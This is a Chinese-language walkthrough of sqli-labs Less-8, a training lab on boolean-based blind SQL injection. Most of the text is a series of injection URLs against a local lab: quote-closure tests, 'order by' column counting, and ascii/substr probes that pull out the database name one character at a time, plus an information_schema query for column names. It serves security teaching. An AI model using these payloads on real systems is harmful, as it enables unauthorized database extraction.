sqli-labs关卡
第八关——布尔型盲注
根据第八关的题目来看,我们知道是一道布尔型盲注的题,首先来判断闭合字符
http://127.0.0.1/sqli/Less-8/?id=1’——加个单引号没有回显
![](https://img-blog.csdnimg.cn/img_convert/77ea32ed3073c5e5091b510efe084c60.png)
http://127.0.0.1/sqli/Less-8/?id=1’)--+——页面显示异常,没有回显
![](https://img-blog.csdnimg.cn/img_convert/747288c7a1677e795593059fa19bb4d1.png)
输入http://127.0.0.1/sqli/Less-8/?id=1”--+ 页面显示正常
![](https://img-blog.csdnimg.cn/img_convert/4a0e26e5f4ba7c9496e8e993f703365f.png)
输入http://127.0.0.1/sqli/Less-8/?id=1”)--+页面显示正常
![](https://img-blog.csdnimg.cn/img_convert/2771ef91c2cb1e67d556c2e12ad627fb.png)
由此判断,我们的闭合字符很可能是“’”或者“’)”,接下来我们需要确定到底是哪一个闭合字符
http://127.0.0.1/sqli/Less-8/?id=1' and 1=1--+ ——真真为真,页面显示正常
![](https://img-blog.csdnimg.cn/img_convert/a59209740b938d1fab85f3139cbbf900.png)
http://127.0.0.1/sqli/Less-8/?id=1' and 1=2--+ ——一真一假,页面显示异常
![](https://img-blog.csdnimg.cn/img_convert/77ee4dcf1aaca756eff4d51c15ab543e.png)
由上即可说明这个闭合字符应该为单引号
接下来我们来判断列数
http://127.0.0.1/sqli/Less-8/?id=1' order by 3--+
![](https://img-blog.csdnimg.cn/img_convert/55ee840103ecaa807cacd0b3dcc12617.png)
http://127.0.0.1/sqli/Less-8/?id=1' order by 4--+
![](https://img-blog.csdnimg.cn/img_convert/3dd9d3f346ccf5b10eff01a621aab0af.png)
判断列数为3
接下来我们来判断一下当前数据库名的长度,从1开始逐渐增加,我这里只演示一部分
http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>1--+
![](https://img-blog.csdnimg.cn/img_convert/c9f9079d6032d8eaa2bf84dcb5143316.png)
http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>7--+
![](https://img-blog.csdnimg.cn/img_convert/6833364c7f8e82be1ae42bcdebfe8d4f.png)
http://127.0.0.1/sqli/Less-8/?id=1' and length(database())>8--+
![](https://img-blog.csdnimg.cn/img_convert/d66175812a2a1516c46e4a98efe2e869.png)
判断出当前数据库名的长度为8
再判断数据库名,对照ascii码表来一一判断,由之前的题目我们可以得知,当前的数据库名为security
判断字符s:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+
![](https://img-blog.csdnimg.cn/img_convert/fa5127eef00b60557429ec790e301672.png)
判断字符e
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101--+
![](https://img-blog.csdnimg.cn/img_convert/9bf7d999c75cb3a0327cf75ad76beb9b.png)
判断字符c
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),3,1))=99--+
![](https://img-blog.csdnimg.cn/img_convert/73a7f3182d37fc2c200ac5d7bec8268e.png)
判断字符u
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),4,1))=117--+
![](https://img-blog.csdnimg.cn/img_convert/2292f01e102e9d4db14a0538c23b201a.png)
判断字符r
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),5,1))=114--+
![](https://img-blog.csdnimg.cn/img_convert/eb7cdbbc6247673a91e1048868120ed6.png)
判断字符i
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),6,1))=105--+
![](https://img-blog.csdnimg.cn/img_convert/c229db7d21466379b7ff5540e5f8c571.png)
判断字符t
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),7,1))=116--+
![](https://img-blog.csdnimg.cn/img_convert/5f140a0b3524dfdb8f3803518b0519a7.png)
判断字符y
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),8,1))=121--+
![](https://img-blog.csdnimg.cn/img_convert/64bfe4141a14fd1ffe16acf89ef57a2e.png)
同样猜测users表中的列名,同猜测数据库名一样,先猜测表名的长度,再根据ASCII码表来改变后面的值和字符位置来猜测名字,这里不再演示了
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where TABLE_name = 'emails' and table_schema = 'security' limit 0,1),1,1))=105--+
![](https://img-blog.csdnimg.cn/img_convert/2956204d9e92fbd5d881c5058c9b5060.png)